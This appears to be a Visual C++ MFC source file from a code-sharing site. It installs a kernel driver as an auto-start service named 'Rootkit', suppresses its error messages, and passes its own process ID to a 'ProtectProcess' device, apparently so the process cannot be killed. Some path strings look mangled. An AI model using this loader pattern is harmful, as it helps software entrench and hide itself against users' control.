installdrvDlg.cpp
上传用户:yjja2008
上传日期:2022-07-25
资源大小:41k
文件大小:6k
源码类别:

系统编程

开发平台:

Visual C++

  1. // installdrvDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "installdrv.h"
  5. #include "installdrvDlg.h"
  6. #include <winioctl.h>
  7. #ifdef _DEBUG
  8. #define new DEBUG_NEW
  9. #undef THIS_FILE
  10. static char THIS_FILE[] = __FILE__;
  11. #endif
  12. #define IOCTL_HELLO_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
  13. /////////////////////////////////////////////////////////////////////////////
  14. // CAboutDlg dialog used for App About
  15. class CAboutDlg : public CDialog
  16. {
  17. public:
  18. CAboutDlg();
  19. // Dialog Data
  20. //{{AFX_DATA(CAboutDlg)
  21. enum { IDD = IDD_ABOUTBOX };
  22. //}}AFX_DATA
  23. // ClassWizard generated virtual function overrides
  24. //{{AFX_VIRTUAL(CAboutDlg)
  25. protected:
  26. virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
  27. //}}AFX_VIRTUAL
  28. // Implementation
  29. protected:
  30. //{{AFX_MSG(CAboutDlg)
  31. //}}AFX_MSG
  32. DECLARE_MESSAGE_MAP()
  33. };
  34. CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
  35. {
  36. //{{AFX_DATA_INIT(CAboutDlg)
  37. //}}AFX_DATA_INIT
  38. }
  39. void CAboutDlg::DoDataExchange(CDataExchange* pDX)
  40. {
  41. CDialog::DoDataExchange(pDX);
  42. //{{AFX_DATA_MAP(CAboutDlg)
  43. //}}AFX_DATA_MAP
  44. }
  45. BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
  46. //{{AFX_MSG_MAP(CAboutDlg)
  47. // No message handlers
  48. //}}AFX_MSG_MAP
  49. END_MESSAGE_MAP()
  50. /////////////////////////////////////////////////////////////////////////////
  51. // CInstalldrvDlg dialog
  52. CInstalldrvDlg::CInstalldrvDlg(CWnd* pParent /*=NULL*/)
  53. : CDialog(CInstalldrvDlg::IDD, pParent)
  54. {
  55. //{{AFX_DATA_INIT(CInstalldrvDlg)
  56. // NOTE: the ClassWizard will add member initialization here
  57. //}}AFX_DATA_INIT
  58. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  59. m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  60. }
  61. void CInstalldrvDlg::DoDataExchange(CDataExchange* pDX)
  62. {
  63. CDialog::DoDataExchange(pDX);
  64. //{{AFX_DATA_MAP(CInstalldrvDlg)
  65. // NOTE: the ClassWizard will add DDX and DDV calls here
  66. //}}AFX_DATA_MAP
  67. }
  68. BEGIN_MESSAGE_MAP(CInstalldrvDlg, CDialog)
  69. //{{AFX_MSG_MAP(CInstalldrvDlg)
  70. ON_WM_SYSCOMMAND()
  71. ON_WM_PAINT()
  72. ON_WM_QUERYDRAGICON()
  73. //}}AFX_MSG_MAP
  74. END_MESSAGE_MAP()
  75. /////////////////////////////////////////////////////////////////////////////
  76. // CInstalldrvDlg message handlers
  77. BOOL CInstalldrvDlg::OnInitDialog()
  78. {
  79. CDialog::OnInitDialog();
  80. // Add "About..." menu item to system menu.
  81. // IDM_ABOUTBOX must be in the system command range.
  82. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
  83. ASSERT(IDM_ABOUTBOX < 0xF000);
  84. CMenu* pSysMenu = GetSystemMenu(FALSE);
  85. if (pSysMenu != NULL)
  86. {
  87. CString strAboutMenu;
  88. strAboutMenu.LoadString(IDS_ABOUTBOX);
  89. if (!strAboutMenu.IsEmpty())
  90. {
  91. pSysMenu->AppendMenu(MF_SEPARATOR);
  92. pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
  93. }
  94. }
  95. // Set the icon for this dialog.  The framework does this automatically
  96. //  when the application's main window is not a dialog
  97. SetIcon(m_hIcon, TRUE); // Set big icon
  98. SetIcon(m_hIcon, FALSE); // Set small icon
  99. // TODO: Add extra initialization here
  100. rh = NULL;
  101. sh = NULL;
  102. return TRUE;  // return TRUE  unless you set the focus to a control
  103. }
  104. void CInstalldrvDlg::OnSysCommand(UINT nID, LPARAM lParam)
  105. {
  106. if ((nID & 0xFFF0) == IDM_ABOUTBOX)
  107. {
  108. CAboutDlg dlgAbout;
  109. dlgAbout.DoModal();
  110. }
  111. else
  112. {
  113. CDialog::OnSysCommand(nID, lParam);
  114. }
  115. }
  116. // If you add a minimize button to your dialog, you will need the code below
  117. //  to draw the icon.  For MFC applications using the document/view model,
  118. //  this is automatically done for you by the framework.
  119. void CInstalldrvDlg::OnPaint() 
  120. {
  121. if (IsIconic())
  122. {
  123. CPaintDC dc(this); // device context for painting
  124. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  125. // Center icon in client rectangle
  126. int cxIcon = GetSystemMetrics(SM_CXICON);
  127. int cyIcon = GetSystemMetrics(SM_CYICON);
  128. CRect rect;
  129. GetClientRect(&rect);
  130. int x = (rect.Width() - cxIcon + 1) / 2;
  131. int y = (rect.Height() - cyIcon + 1) / 2;
  132. // Draw the icon
  133. dc.DrawIcon(x, y, m_hIcon);
  134. }
  135. else
  136. {
  137. CDialog::OnPaint();
  138. }
  139. }
  140. // The system calls this to obtain the cursor to display while the user drags
  141. //  the minimized window.
  142. HCURSOR CInstalldrvDlg::OnQueryDragIcon()
  143. {
  144. return (HCURSOR) m_hIcon;
  145. }
  146. void CInstalldrvDlg::OnOK() 
  147. {
  148. // TODO: Add extra validation here
  149. hDevice=CreateFile("\\.\ProtectProcess",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  150. /*服务存在或出错,创建服务*/
  151. if(hDevice==INVALID_HANDLE_VALUE)
  152. {
  153. // 拷贝驱动文件
  154. GetSystemDirectory(path,256);
  155. strcat(path,"\drivers\HelloWDM.sys");
  156. CopyFile(".\HelloWDM.sys", path, false);
  157. // 打开服务管理器
  158. sh = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  159. if (!sh){
  160. // AfxMessageBox("打开服务管理器失败!");
  161. }
  162. // 生成服务
  163. rh = CreateService(sh,"Rootkit","RootkitKernel",
  164. SERVICE_ALL_ACCESS,
  165. SERVICE_KERNEL_DRIVER,
  166. //{
  167. //SERVICE_SYSTEM_START,
  168. SERVICE_AUTO_START,
  169. //}
  170. SERVICE_ERROR_NORMAL,
  171. path,
  172. NULL,NULL,NULL,NULL,NULL);
  173. if (!rh){
  174. if (1073 == GetLastError())
  175. {
  176. // AfxMessageBox("该服务已存在!");
  177. }
  178. }
  179. // 启动服务
  180. rh = OpenService(sh,"Rootkit",SERVICE_ALL_ACCESS);
  181. if (!rh){
  182. // AfxMessageBox("服务启动失败!");
  183. }
  184. StartService(rh,NULL,NULL);
  185. }
  186. memset(ret,0,4096);
  187. DWORD dwpid = GetCurrentProcessId();
  188. pid = (long)dwpid;
  189. ReBytes = 0;
  190. DeviceIoControl(hDevice,IOCTL_HELLO_CONTROL,&pid,sizeof(long),ret,4096,&ReBytes,NULL);
  191. CloseHandle(hDevice);
  192. //  DWORD nErrorNo = GetLastError ( ); // 得到错误代码
  193. //  printf("Error Code:%un",nErrorNo);
  194. //  printf("Return Value:%sn",ret);
  195. // CDialog::OnOK();
  196. }